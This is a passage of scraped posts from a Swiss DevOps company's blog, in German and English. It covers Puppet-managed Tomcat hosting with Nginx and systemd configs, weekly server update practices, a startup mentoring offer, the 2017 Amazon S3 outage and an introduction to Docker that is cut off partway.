    proxy_set_header      X-Real-IP $remote_addr;
    proxy_set_header      X-Forwarded-Client-IP $remote_addr;
    proxy_set_header      Proxy "";
  }
}

legacy-tomcathosting.com Nginx config server

{
  listen       *:443 ssl ;
  server_name  legacy-tomcathosting.com;
  ssl on;
  ssl_certificate           /etc/ssl/certs/legacy-tomcathosting.com-chained.pem;
  ssl_certificate_key       /etc/ssl/private/legacy-tomcathosting.com-key.pem;
  ssl_dhparam               /etc/ssl/dh4096.pem;
  [...]
  add_header              Strict-Transport-Security max-age=31536000;
  location / {
    proxy_pass            ;
    proxy_read_timeout    90;
    proxy_connect_timeout 90;
    proxy_redirect        off;
    proxy_set_header      Host legacy-tomcathosting.com;
    proxy_set_header      X-Scheme $host;
    proxy_set_header      X-Forwarded-Host $host;
    proxy_set_header      X-Forwarded-Server $host;
    proxy_set_header      X-Forwarded-Server-IP $server_addr;
    proxy_set_header      X-Forwarded-Server-Port $server_port;
    proxy_set_header      X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header      X-Real-IP $remote_addr;
    proxy_set_header      X-Forwarded-Client-IP $remote_addr;
    proxy_set_header      Proxy "";
  }
}

Die angegebenen Zertifikate wurden via Let’s Encrypt erstellt und werden automatisch erneuert.
Zusätzlich wird für mytomcathosting eine mariadb Datenbank und für legacy-tomcathosting eine PostgresSQL Datenbank konfiguriert. Damit sichergestellt ist, dass die Tomcat Instanzen auch laufen, erstellt unser Puppet Modul Systemd Unit-Files. Dabei wird als CATALINA_HOME der Pfad zum ausgewählten Tomcatserver verwendet und als CATALINA_BASE der Pfad zum Tomcatverzeichnis der Instanz.
Das Unitfile für mytomcathosting sieht daher wie folgt aus:
mytomcathosting Unitfile

[Unit]
Description=tomcat-mytomcathosting Service
[Service]
ExecStart=/opt/tomcat8.5.15/bin/catalina.sh start
ExecStop=/opt/tomcat8.5.15/bin/catalina.sh stop
Restart=always
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=tomcat-mytomcathosting
User=%i
Type=forking
Environment="CATALINA_HOME=/opt/tomcat8.5.15" "CATALINA_BASE=/home/mytomcathosting/tomcat"
[Install]
WantedBy=multi-user.target

Backup und Monitoring

Backup und Monitoring gehören bei uns zur Selbstverständlichkeit. So wird jede konfigurierte Instanz automatisch ins Backup aufgenommen (User Homeverzeichnis, sowie DB Dumps). Monitoringchecks, die überprüfen, ob die Tomcat Instanzen laufen, werden automatisch eingerichtet. Ebenfalls vollautomatisch wird geprüft, ob der konfigurierte Servername erreichbar ist und einen validen HTTP Code zurückgibt.

Tomcat aktualisieren

Eine bestehende Instanz auf eine neuere Tomcatversion zu aktualisieren ist sehr einfach und in wenigen Minuten erledigt. Dabei muss nur im profile_tomcathosting::servers Hash ein neuer Server mit der gewünschten Version installiert werden und dann in der zu aktualisierenden Instanz im tomcat_serverFeld referenziert werden. Sollte ein Tomcat Server nicht mehr verwendet werden, kann dieser durch das Setzen des ensure: ‘absent’ Parameters im profile_tomcathosting::servers Hash einfach entfernt werden.

Fazit

Der Betrieb einer Tomcatumgebung ist dank unserem Puppet Modul sehr einfach, schnell und zuverlässig. Dank dem modularen Aufbau der Puppet Module, können wir mit sehr geringem Aufwand verschiedene Tomcat Szenarien abdecken. In nur 15 Minuten können wir eine neue VM (z.b. bei Cloudscale.ch) hochfahren und mit Puppet so konfigurieren, dass wir eine einsatzbereite Tomcatumgebung haben. 

Nicolas Bigler

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Alles über Update-Prozesse und Paketaktualisierungen auf verteilten Systemen

2. Jun 2017

Die zunehmende Virtualisierung von Maschinen hat viele Vorteile, bringt aber auch eine Reihe von Herausforderungen mit sich. Eine davon ist die kontinuierliche Aktualisierung der Pakete auf einer stetig wachsenden Anzahl von Systemen. Das eine Mal soll ein aktueller Sicherheitspatch möglichst zeitnah eingespielt werden, ein anderes Mal muss die Applikation des Kunden im vordefinierten Zeitfenster auf den neuesten Stand gebracht werden: Die Anforderungen sind unterschiedlich und nicht immer einfach unter einen Hut zu bringen. Und je mehr der Serverpark wächst, desto schwieriger wird es, die Übersicht zu wahren.

Bei VSHN machen wir Systemupdates üblicherweise einmal pro Woche, jeweils dienstags. Dies ermöglicht es uns, bei eventuellen Problemen in aller Ruhe reagieren zu können, bevor alle ins Wochenende abgerauscht sind und lässt gleichzeitig zu Beginn der Woche genügend Zeit um aktuelle Probleme wahrnehmen und entsprechend planen zu können. Im Laufe der Zeit sind wir auf so manche Herausforderungen gestossen, die die Problematik mit sich bringt. Nicht für alle haben wir bereits befriedigende Lösungen gefunden – bei einigen scheint es uns gar keine “wirkliche” Lösung zu geben – doch möchten wir hier die Möglichkeit wahrnehmen, unsere Überlegungen und Lösungen zu einigen der Schwierigkeiten darzulegen, die wohl verbreiteter auftreten dürften.

Kundeninformation

Viele Aktualisierungen betreffen Details: es werden spezifische Fehler gefixt, von denen der Kunde üblicherweise gar nichts mitbekommt. Innerhalb einer OS-Revision sollten Updates normalerweise die Funktionsweise nicht verändern (vorausgesetzt, Programmfehler wurden nicht explizit ausgenutzt). Dennoch gibt es immer wieder Aktualisierungen, die Kernfunktionalitäten des Kundensystems betreffen – ein Update der eingesetzten Datenbanksoftware zum Beispiel, oder des Webservers – oder einen Neustart von Teilen des Systems, manchmal auch der ganzen Maschine erfordern. In jedem Fall ist damit zu rechnen, dass ein Serviceunterbruch stattfindet, und sei es auch nur für wenige Sekunden. Entsprechend ist es wichtig, dass der Kunde rechtzeitig und umfassend informiert ist. Dies gestaltet sich aber nicht immer einfach, da die Kundenbedürfnisse teils sehr unterschiedlich sind:

  • Die meisten unserer Kunden verstehen Deutsch und wünschen auch, in ihrer Muttersprache zu kommunizieren. Mit anderen hingegen wird Englisch gesprochen, wenn nicht gar Portugiesisch, Holländisch oder Finnisch.
  • Ein individuelles Ansprechen der Kunden mit Namen ist wünschenswert, aber bei manueller Ausführung sehr zeit-intensiv und tendenziell fehleranfällig.
  • Die verschiedenen Systeme haben verschiedene Anforderungen: einen Kunden mit mariadb interessiert es nicht, ob ein Upgrade von postgresql ansteht und jenem, der nginx einsetzt, sind die Sicherheitsprobleme von Apache egal.
  • Je nach SLA (“Service Level Agreement”) findet die Ausführung zu verschiedenen Zeiten statt. Manche Kunden wünschen die Aktualisierung aus Kostengründen stets zu Bürozeiten, andere nur diejenigen von unkritischen Paketen ohne erwartete Auswirkung auf die Kundenapplikation und bei dritten wiederum finden alle Updates grundsätzlich im “Maintenance Window” in der Nacht statt. Idealerweise wird dem Kunden die geltende Abmachung regelmässig kommuniziert – und zwar rechtzeitig vor dem Update, so dass er falls nötig für diese Woche ein anderes Vorgehen beantragen kann – zum Beispiel, weil an diesem Tag eine Präsentation stattfindet.

Ursprünglich informierten wir jeden Kunden einzeln per E-Mail, doch konnte sich dieses Modell nicht allzu lange halten. Nur schon aus Zeitgründen kamen wir nicht umhin, stattdessen auf eine generelle Webseite zu verweisen, auf der über die jeweils anstehenden Subsysteme informiert wird. Dafür setzen wir heute Cachet ein und benutzen es auch als generelle Status-Informationsseite bei auftretenden Störungen. Der Kunde kann sich die Informationen selbstständig abonnieren und erhält damit nicht nur die wöchentliche e-Mail über anstehende Updates automatisch, sondern wird auch zeitnah informiert, wenn einmal generelle Probleme mit der Infrastruktur auftreten. Der Server läuft selbstverständlich in einem anderen Rechenzentrum und in einem unabhängig gerouteten Netz, damit bei eventuell auftretenden Problemen auch tatsächlich informiert werden kann.
Gibt es schliesslich während des Update-Prozesses Schwierigkeiten, so sollen die Kunden auch darüber zeitnah informiert werden – so detailliert wie nötig (aber auch nicht übertrieben pointiert) und mit einer Angabe, wie wir planen, die Herausforderung in Zukunft anzugehen.

Checkliste

Mitarbeiter, die selbst nicht an der Aktualisierung teil nahmen, sollten zumindest grob darüber Auskunft geben können, was geschah und weshalb. Gerade wenn einmal etwas Gröberes schief läuft und die ausführenden Mitarbeiter vielleicht bis frühmorgens mit Reparaturarbeiten beschäftigt waren, ist es wichtig, dass ausgeschlafene Kollegen informieren können. Eine entsprechende Dokumentation ist deshalb unumgänglich, wenn auch – gerade, wenn’s mal wieder etwas länger dauerte – nicht immer ganz einfach fertigzustellen. Wir setzen auf eine technisch simple, aber in der Praxis recht effektive Checkliste in unserem internen Wiki; das zugehörige Template wird fast jede Woche angepasst, erweitert und mit Links zu Hinweisen, wie bei eventuellen Problemen vorgegangen werden kann versehen. Nach jeder Gruppe von Servern die gleichzeitig abgearbeitet wurden, wird alles Unvorhergesehene protokolliert und das entsprechende Häkchen gesetzt. Dies ermöglicht es uns auch, im Nachhinein nachzuvollziehen, wo der Prozess noch verbessert werden kann.

Aktualisierungstools

Die Effizienz der Updates steht und fällt mit dem verwendeten Werkzeug. Leider ist uns bis anhin kein abschliessend befriedigendes Tool untergekommen; die Umsetzung einiger wünschenswerter Features ist aber auch nicht ganz trivial. Da wir momentan nur Debian- oder RedHat-basierte Linuxdistributionen einsetzen, reicht es glücklicherweise bisher zumindest aus, dass das eingesetzte Tool nebst apt und deb auch noch yum/dnf und rpm versteht.
Zur Zeit setzen wir apt-dater der IBH IT-Service GmbH ein, das wir im Laufe der Zeit in der Konfiguration an unsere Bedürfnisse angepasst haben. Es gibt durchaus noch Verbesserungspotential, aber der Aufwand, selbst etwas zu entwickeln dürfte doch ziemlich hoch sein. Folgende Anforderungen wären grundsätzlich wünschenswert:

  • Schnelle Übersicht über anstehende Aktualisierungen. Eine Idee wäre, anstatt zu jedem Server die veralteten Pakete aufzulisten, den umgekehrten Ansatz zu implementieren: Eine Liste aller Pakete, die auf mindestens einem Host ein Update benötigen. Super wäre dann ein Interface, in dem man unkritische Pakete ausblenden könnte (Stichwort “Tinder-Style”), um sich schnell auf die wesentlichen, kritischen Pakete zu konzentrieren.
  • Updaten soll einfach sein – aber doch nicht zu einfach. Es ist in der Vergangenheit schon vorgekommen, dass Server versehentlich aktualisiert wurden, weil ein einzelner Tastendruck eine ganze Reihe von Aktionen ausführen kann – praktisch nicht unterbrechbar. Dass “Update” im apt-Jargon dann auch noch fürs Updaten der Metainformationen (und nicht der eigentlichen Pakete) steht macht die Ausgangslage auch nicht einfacher. In der Praxis ist dies aber nur ein Problem, wenn stets neue Mitarbeiter die Upgrades übernehmen.
  • Nebst der Update-Funktionalität sollten auch auto-removes automatisiert ausgeführt werden können.
  • apt-dater parst die Ausgaben der apt-Prozesse auf den Zielsystemen und warnt zum Beispiel bei Vorkommen des Worts “error”. Prinzipiell eine gute Idee – aber wenn der Update-Prozess den Satz “no error occured” enthält kann das Abnicken jeder einzelnen Meldung ziemlich mühsam werden. Dieses Problem haben wir mittlerweile mittels detaillierterer Konfiguration lösen können.
  • Anders als yum verlangt apt standardmässig gerne mal eine manuelle Intervention. Das hat durchaus seine Vorteile; auch hier gilt aber: muss das auf jedem Server einzeln bestätigt werden (teilweise auch mehrfach, wenn beispielsweise noch mehrere ältere Kernel installiert sind), so kann einiges an Zeit verloren gehen.

Paket – Cache

Ein Problem, das uns lange beschäftigte, war der Umgang mit Repositories, die zeitweise nicht erreichbar oder in inkonsistem Zustand sind. Gerade bei Ubuntu-Mirrors kommt es immer mal wieder vor, dass die Indizes nicht korrekt erstellt werden und eine Viertelstunde gewartet werden muss, bis der nächste cronjob diese flickt. Das bedeutete dann Zwangspausen – manchmal mehrmals täglich. Auch gibt es immer mal wieder Pakete, die während des Tages neu hinzukommen. Werden diese dann eingespielt, so geht das “Kanarienvogelprinzip” – wir wollen zuerst auf Staging- und weniger wichtigen Systemen updaten, um eventuelle Probleme frühzeitig zu erkennen – verloren. Und last but not least sind viele Mirrors so konfiguriert, dass sie nur eine begrenzte Zahl von Anfragen von einer IP oder einem IP-Range zulassen, um DOS-Attacken zu verhindern. Kommen nun eine grosse Anzahl von Anfragen praktisch gleichzeitig, zum Beispiel von einem Kunden, bei dem alle Systeme hinter einer gemeinsamen Firewall stehen, so kann nur ein kleiner Teil davon beantwortet werden und der Vorgang muss mehrere Male wiederholt werden, bis alle Systeme einmal bedient wurden.
Einen grossen Fortschritt erreichten wir für all diese Probleme mit der Einführung eines Paket-Caches. Grob gesagt führten wir einen Proxy ein, über den alle Repositories geleitet werden. Am Morgen des Update-Tages holen nun alle Systeme die anstehenden Pakete ab, ohne sie zu installieren – sie versuchen dies drei Mal, um die obengenannten Probleme mit Indizes zu umgehen. Der Paket-Cache lädt die Pakete herunter, liefert sie aus und speichert die Versionen. Der erste Schritt der eigentlichen Update-Prozedur besteht sodann im “Einfrieren” dieses Caches: ab diesem Zeitpunkt werden nur noch genau die Versionen von Indizes und Paketen ausgeliefert, die dann aktuell waren (Ausnahme: Wird im Laufe des Tages ein Paket angefordert, das noch nicht im Cache vorhanden ist, zum Beispiel bei einer Neuinstallation, so lädt der Cache die zu diesem Zeitpunkt aktuelle Version nach).
Während das Einpflegen der entsprechenden Konfigurationen einen gewissen – pro Repository einmaligen – Zusatzaufwand bedeutet, konnten wir mit dieser Methode die Updateprozedur deutlich beschleunigen – ganz zu schweigen von der massiven Diminuierung des Frustfaktors.

Systemgruppierung

Wie bereits bei der Kundeninformation ausgeführt, haben unterschiedliche Systeme unterschiedliche Anforderungen. Eine Testumgebung, wenn auch aus der selben Anzahl und Typisierung an Servern wie ein Livesystem bestehend, kann typischerweise gut zu Bürozeiten aktualisiert werden – ja, soll dies sogar explizit, um eventuelle Probleme rechtzeitig festzustellen und entsprechend darauf reagieren zu können – während die Produktivumgebung nur eine minimale Downtime in der Nacht erlaubt. Gleichzeitig ist es aber für einen effizienten Vorgang auch wünschenswert, möglichst wenige Gruppen zu bilden, die jeweils gemeinsam aktualisiert werden können. Und selbstredend müssen neu erstellte Systeme automatisiert in den Prozess aufgenommen werden, damit sie nicht vergessen gehen.
Wir haben mit einer Reihe von Namensschemen für die Gruppen experimentiert und sind inzwischen dabei angekommen, die gleichzeitig abzuarbeitenden System in Gruppen zusammen zu fassen, die dem Namensschema “hhmm-prio-common_name” folgen, also z.B. “2200-20-night_main” für die erste grosse Gruppe der Server, die ab 22:00 Uhr anfallen. Jede Gruppe ist in der Checkliste aufgeführt und erst wenn alle zugehörigen Server fertig gestellt und das Monitoring wieder komplett zufrieden ist schreiten wir zur nächsten Gruppe fort.
Um das Problem der Erreichbarkeit zu vereinfachen setzten wir ursprünglich auf die einfache Lösung, das Update-Tool auf einem Monitoring-Host zu installieren, da von da aus sowieso schon VPNs zu allen relevanten Maschinen bestanden. Inzwischen haben wir aber sowohl das Monitoring via VPN als auch die ssh-Zugänge durch bessere Methoden ersetzt. Konkret kennt unser puppet die benötigten Jumphosts, um jeden gemanageten Server zu erreichen und mittels dem selbst entwickelten “sshop”-Tool wird nicht nur die entsprechende ssh-Konfiguration, sondern auch gleich jene für apt-dater geschrieben.

Reboots

Wird ein Sicherheitsleck im Kernel bekannt, so ist ein Reboot unumgänglich; aber auch ein Update einer kritischen Komponente wie openssl kann oft einfacher fertiggestellt werden, indem die ganze Maschine neu gestartet wird (anstatt jeder betroffene Service, der die Bibliothek geladen hat, einzeln). Bei Reboots gibt es aber immer eine Reihe von potentiellen Fehlerquellen, die verstärkter Aufmerksamkeit bedürfen:

  • Die Sicherheitsanforderungen einer Reihe von Kunden verlangen, dass alle Daten verschlüsselt abgelegt sein müssen. Um die Harddisks verfügbar zu machen, muss bei einem Reboot entsprechend der Schlüssel eingegeben werden. Klassischerweise geschieht dies via Konsole – diese muss also erreichbar sein und das Passwort bekannt (gleichzeitig aber kompliziert genug, um sicher zu sein und nur via speziell und mehrfach abgesicherten Zugang abrufbar). Um dies zu umgehen setzen wir darauf, das Hauptsystem unverschlüsselt zu lassen und nur die kritischen Daten auf einer eigenen Partition zu verschlüsseln, welche dann beim Bootprozess nicht gemountet wird. Wir loggen uns nach dem Reboot normal via ssh auf dem Server ein und starten einen speziellen Service, der die Passworteingabe, das Mounten und das Starten der davon abhängigen Services – je nach System via sysvinit, upstart oder systemd – übernimmt. Selbstverständlich sind die Hosts, auf welchen dies vonnöten ist, in der Checkliste aufgeführt und werden spezifisch gemonitort, damit sie garantiert nicht vergessen gehen können.
  • Mounts von anderen Servern werden manchmal nicht automatisch geladen, da eine Nichterreichbarkeit des Wirtsystems ansonsten den Bootvorgang unterbrechen oder zumindest massiv verlangsamen würde. Entsprechend sind benötigte Daten teilweise erst nach einem puppet-run erreichbar; dieser soll also zeitnah nach dem Booten erfolgen.
  • Services müssen reboot-sicher konfiguriert werden; das heisst sie müssen nach einem Reboot wieder gestartet werden und sollen den Betrieb möglichst reibungslos wieder aufnehmen. Das ist manchmal einfacher gesagt als getan: wenn eine Datenbank neu indiziert oder grosse Datenmengen geladen werden müssen kann das schon mal eine Weile dauern.
  • Die Reihenfolge von Reboots bei mehreren zusammengehörenden Servern ist oft relevant: So sollen Datenbank und Fileserver idealerweise vor Applikationsservern neu gestartet werden und diese wiederum vor Webservern und Applikationsfirewalls. Auch dürfen in Clustern zusammengehörende Server nur sequentiell rebooted werden. Dies stellen wir mit der erwähnten Gruppierung der Systeme sicher.
  • Ebenfalls mit der Gruppierung lösen wir ein Problem, das zwar trivial erscheint, aber ansonsten in der Hitze des Gefechts dennoch übersehen werden kann: Bei redundanten Systemen ist stets darauf zu achten, dass das Backup erst aktualisiert wird, wenn der gesamte Vorgang auf dem Primärsystem erfolgreich abgeschlossen wurde. So wird nicht nur die Redundanz getestet, sondern es werden eventuelle Probleme auch tatsächlich nach dem Update des ersten Systems entdeckt – und nicht erst, wenn schon beide Maschinen verändert wurden.

Monitoring

Obwohl die heutigen virtuellen Maschinen innert weniger Sekunden wieder betriebsbereit sind, haben Updates und insbesondere Reboots zumindest kurze Ausfälle zur Folge. Ein dadurch verpasster puppet-run kann sich aber schnell mal für eine halbe Stunde im Monitoring niederschlagen. Entsprechend ist immer downtime einzuplanen. Ebenso sollte für mindestens rund eine Stunde nach Abschluss der Arbeiten etwas genauer aufs Monitoring geschaut werden: manchmal offenbaren sich Probleme erst, nachdem puppet auf zwei verschiedenen Maschinen durchgelaufen ist (Stichwort: exportierte Ressourcen). Ausserdem hilft es enorm, wenn Abhängigkeiten im Monitoring korrekt erfasst sind: der zeitweise Unterbruch eines VPN darf nicht dazu führen, dass sämtliche Services auf sämtlichen sich dahinter befindlichen Servern als nicht erreichbar erkannt werden.

Schlussfolgerungen und Ausblick

Der Update-Prozess ist ein sich ständig wandelnder, der kontinuierlich verbessert wird. Währenddem wir im Laufe der Jahre schon viele Details perfektioniert haben gibt es immer noch Verbesserungspotential. Und für die Zukunft planen wir eine gewisse Automatisierung auch dieser Aufgabe; doch wollen wir 100% sicher sein, dass dabei nichts schief gehen kann und so ist hier noch einiges an Entwicklungsarbeit einzubringen. Da es sich aber in der jetztigen Form immer noch um einen recht zeitintensiven und wöchentlichen Prozess handelt lohnt sich dies gewiss. Sind wir dann erst mal soweit, wird dies sicher wieder mit einem ausführlichen Blogpost abgerundet. Bis dann! 

peter.rueegg

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

VSHN Startup Boost – free DevOps consulting for startups

24. May 2017

We’re an almost three year old technology startup ourselves and know the challenges of getting all of the stars lined up correctly to create a successful company. As we have found our business model and are growing quickly we want to recall our roots and give something back to the community.
… diese Informationen in Deutsch >>

That’s what the VSHN Startup Boost is all about:
reaching out and helping other startups to get the boost they need to prove their ideas and succeed.

The VSHN Startup Boost is a technical mentoring program for startups in the software, technology or online areas.
Usually the CTO or Head of software engineering would be the right person to attend. You can apply for the mentoring using the form below –
typically we accept one startup per month although exceptions may occur. We’ll get in touch with you in any case.
Most startups have a clear vision about the product they want to build and the technology they want to use (and have had experience with).

  • Systems architecture for bootstrapping and the first scaling iteration
  • How to implement continuous integration and continuous delivery using free services and/or open source tools
  • How to containerize/dockerize your application, if necessary
  • How to build a local development environment with all the required containerized service dependencies
    (backends, microservices, databases, caches, etc.)
  • Compare and connect you with other (free) services for startups
    (e.g. Microsoft BizSpark, Amazon AWS, Heroku, APPUiO.ch, etc.)
  • Anything else you might struggle with In line with the DevOps philosophy we consider the optimal outcome to be you having a working
    software delivery process (build, test, deploy) up and running by the end of the mentoring session. The goal is to provide you with the
    software operations experience you need to get started, validate your product and start growing by focusing on the software development.

Half a day of free consulting with one of our senior DevOps Engineers

APPUiO.ch-voucher for half a year of free usage

We’re happy to write a blogpost about your company and let you speak at one of our KickOffBreakfasts so you get some visibility in the market.
If you would like to apply for the VSHN Startup Boost or if you have any questions please get in touch with us using the form below.


Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

APPUiO Product Roadmap

10. Apr 2017

Eine der grössten Herausforderungen für uns als modernes Technologie-Unternehmen ist es, immer auf dem aktuellsten Stand der Technik zu bleiben. VSHN macht das bereits erfolgreich und auch bei APPUiO ist eine stetige Weiterentwicklung spürbar. Nach dem Launch des Beta-Angebotes (more…)

Tobias Brunner

Tobias Brunner is working since over 20 years in IT and more than 15 years with Internet technology. New technology has to be tried and written about.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Internal Tech

VSHN ist Azure Silver Partner

Wir betreiben die Applikationen unserer Kunden auf verschiedenen Cloud-Providern, je nach Anforderungen an Sicherheit, Verfügbarkeit, Skalierbarkeit, geographischer Abdeckung und bestehender Infrastuktur des Kunden. Neben Cloudscale.ch, Exoscale.ch, SafeSwissCloud und Swisscom Enterprise in der Schweiz sind wir auch Partner von Amazon AWSund neu auch zertifizierter Silver Partner für Opensource Software Stacks auf Microsoft Azure. 

Die Zertifizierung zeigt dem Kunden, dass VSHN die entsprechenden Erfahrung im Aufbau und Betrieb von Opensource-Applikationsservern (Java, PHP, Python, Ruby, JavaScript, Erlang/Elixir, etc) und Datenbanken (MySQL, MariaDB, PostgreSQL, MongoDB, Cassandra, ElasticSearch, Solr, Redis, etc) hat. Die Partnerschaft steht auch für eine eingespielte, konstruktive Zusammenarbeit im Support – VSHN ist für seine “no finger-pointing policy” bekannt, also anstatt Schuldzuweisungen zu machen, werden konstruktiv mit allen beteiligten Parteien zusammen Probleme gelöst.

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Modsecurity Workshop

13. Mar 2017

Am 23. und 24. Februar 2017 fand ein Modsecurity Workshop in Zürich statt. André Keller und Nicolas Bigler nutzten die Gelegenheit, ihr Fachwissen zu vertiefen.
Der Workshop wurde von Christian Folini durchgeführt. Der Kurs basierte auf seinem eigenen Tutorial. Er gehört, was das Thema Modsecurity anbelangt, zu den erfahrensten (more…)

Nicolas Bigler

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Amazon S3 Ausfall 28.02.2017

1. Mar 2017

Am 28.02 kurz nach 18:30 Schweizer Zeit ist der Simple Storage Service S3 von Amazon AWS an der US-Ostküste für knapp 3 Stunden ausgefallen. Ein kleiner Ausfall eines Services wäre an sich kein Problem, 3 Stunden Ausfall pro Jahr bedeuten auch dann noch eine Verfügbarkeit von über 99.96% und ist eine sehr gute Gesamtverfügbarkeit — besser als die unserer Kunden, welche Ihre Services selber hosten. In der Schweiz war der Ausfall kurz nach den Bürozeiten, in den USA war der Ausfall jedoch kurz vor dem Mittag und dadurch stark auch im Business spürbar.

Das Problem war, dass viele, darunter auch grosse prominente Webapplikationen, aus Kostengründen ihre Daten nicht redundant, also mehrfach in verschiedenen Regionen bei Amazon oder anderen Cloud Service Providern, gespeichert hatten. Dazu kam der Zufall gemäss Murphy dass die “us-east-1” Region jeweils die erste, bereits ausgewählte, Option beim Erstellen eines neuen Services ist und vermutlich auch darum sehr viele Kunden von Amazon (und auch von VSHN) den Service aus dieser Region beziehen.
Bekannte Namen, die vom Ausfall betroffen waren: Docker Hub, Trello, Travis CI, GitHub.com und GitLab.com, Quora, Medium, Signal, Slack, Imgur, Twitch.tv, Razer, Adobes Cloud Services, Zendesk, Heroku, Coursera, Bitbucket, Autodesk Cloud Services, Twilio, Mailchimp, Citrix, Expedia, Flipboard, Salesforce, Giphy, Nest und ironischerweise, die Service-Status-Webseite von Amazon selbst, die erst eine gute Stunde nach dem Ausfall des Services angepasst werden konnte.
Die Situation normalisierte sich gegen 22:00 Uhr und ab ca. 23:00 Uhr waren auch die letzten Probleme behoben.
Wie kann man einen solchen Ausfall für seine Webapplikation verhindern?
Um auch das letzte Quäntchen Verfügbarkeit aus der Applikation zu holen, gibt es, wie immer in den Ingenieurwissenschaften, verschiedene Möglichkeiten, in aufsteigender Kostenreihenfolge:

  1. Statische Assets die in S3 liegen, per Content Delivery Network (CDN) ausliefern: machen die Meisten vermutlich bereits. Das CDN speichert die bereits häufig angefragten Daten und kann so kurze Ausfälle des darunter liegenden Speichersystems (egal ob S3 oder ein anderes) überbrücken. Leider nützt das nichts für gerade neu erstellte oder hochgeladene Daten; immerhin läuft die Webseite mit den “alten Daten” weiter. Die anderen Vorteile eines CDN (schnellere, weil nähere Auslieferung zum Nutzer, DDoS-Schutz, möglicherweise tiefere Bandbreiten/Traffic-Preise, etc.) gelten natürlich ebenfalls und macht für die meisten Seiten mit globalem Nutzerkreis Sinn.
  2. Redundante Speicherung: Alle Schreib- und Löschoperationen (am besten mittels Queue) in zwei unterschiedliche Speicherservices ausführen, zumindest in unterschiedliche AWS-Regionen oder zu einem anderen Cloud Service Provider, der einen S3-kompatiblen Service anbietet. Beim Zugriff (am besten via CDN zur Zwischenspeicherung, siehe oben) probiert die Applikation wahlweise den einen oder anderen Speicher zu erreichen und liefert die Daten, egal von welchem Storagebackend, an das CDN weiter. Der Nachteil ist neben der zusätzlichen Applikationslogik, die implementiert und gewartet werden muss, natürlich die doppelten Kosten für die Speicherung an zwei Orten.
  3. Ebenfalls sollte dann die Applikation selbst (und ihre anderen Backends wie Datenbanken etc.) an zwei Orten laufen und parallel aktiv-aktiv betrieben werden, um die Gesamtverfügbarkeit nicht zu beeinträchtigen. Auch dafür entstehen Kosten und die Komplexität des Load-balancing über zwei Regionen oder Cloud Service Provider ist nicht zu unterschätzen.

VSHN ist der Schweizer Experte für den sicheren Betrieb von Webapplikationen in den internationalen wie auch den Schweizer Cloud Service Providern. Wir beraten nicht nur, sondern helfen auch gerne dabei, solche Konzepte umzusetzen.

Nachtrag 3. März 2017:

Unterdessen wurde die offizielle Erklärung der Vorkommnisse veröffentlicht:
Die Ursache war ein manueller Fehler: beim routinemässigen Entfernen von alten Servern aus dem System hat sich um 18:37 Schweizer Zeit ein Amazon-Mitarbeiter vertippt und aus Versehen auch eine kritische Gruppe von Servern für den internen S3-Metadaten-Dienst und den S3-Allozier-Dienst gelöscht. Daten sind dabei keine verloren gegangen. Das Hochfahren des Metadaten-Dienstes und die Prüfung der Datenintegrität dauerte länger als geplant, ab 21:26 konnten die ersten Lese-Anfragen wieder abgearbeitet werden und ab 22:18 waren die Lesezugriffe komplett wiederhergestellt. Der S3-Allozier-Dienst, der für Schreibzugriffe benötigt wird, wurde anschliessend wieder hergestellt und war ab 22:54 wieder vollständig verfügbar.
Fehler passieren – an dieser Stelle ein Kompliment an AWS für die professionell verfasste und transparente Zusammenfassung der Ereignisse und der daraus gezogenen Massnahmen ! Diese sogenannten “Postmortems” helfen uns allen aus diesen Erfahrungen zu lernen und uns als Industrie weiter zu entwickeln.

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Docker

18. Nov 2016

Kürzlich habe ich mit einem CTO eines bekannten Schweizer Software-Entwicklungs-Unternehmens gesprochen und natürlich ist das Thema DevOps, Continuous Deployment und das Verpacken eines Software-Release für das Deployment gefallen, für das auch das Software-Entwicklungs-Unternehmen bereits erste Erfahrungen mit Docker gesammelt hat. Zu meinem grossen Erstaunen hat mein Gesprächspartner gemeint er habe keinen Betriebspartner bzw. Hoster für Docker in der Schweiz gefunden. Darum möchten wir unser Angebot für Docker-Hosting in der Schweiz offiziell launchen!

Die verschiedenen Komponenten des Docker-Universums helfen dabei die standardisierten Container zu erstellen, kombinieren und zu betreiben.

Docker Engine

Die Docker Engine ist, was die meisten meinen, wenn sie von “Docker” sprechen und besteht aus zwei Teilen:

  1. Das Programm “docker”, welches vom Benutzer gesteuert wird.
  2. Dem Docker-Dienst (Docker Daemon, dockerd) welches die Befehle von “docker” im Hintergrund ausführt.

Die Engine ist damit der Kern der Technologie und das Zentrum des Docker-Ökosystems. Docker Engine kann aktuell auf Linux, macOS und Windows installiert werden, wobei die Container-Technologie selbst auf Linux basiert und macOS und Windows in den aktuellsten Versionen Linux mit den entsprechenden Bordmitteln virtualisieren. Für andere Betriebssysteme sowie für ältere Versionen von macOS und Windows gibt es jeweils die Möglichkeit, den Docker Daemon in einer virtuellen Linux-Maschine zu betreiben (zum Beispiel mit Virtualbox).
Die beiden Komponenten sprechen über eine standardisierte Schnittstelle miteinander. Dabei ist es unwichtig ob sie auf demselben Computer bzw. Server liegen oder über das Internet miteinander sprechen. Man muss das lokale “docker”-Programm einfach über die Umgebungsvariable $DOCKER_HOST entsprechend konfigurieren, wo es seinen Docker-Dienst finden soll. Standardmässig erwartet es den Docker-Dienst auf dem lokalen Unix-Socket /var/run/docker.sock, auf TCP-Port 2375 eines zu konfigurierenden Servers unverschlüsselt oder TCP-Port 2376 mit TLS verschlüsselt.

Docker Inc

Docker Inc ist die Firma hinter Docker, also der Hersteller der Software. Leider ist es im mündlichen Gespräch nicht immer einfach zu unterscheiden wenn man von “Docker macht …” spricht.

Dockerfile

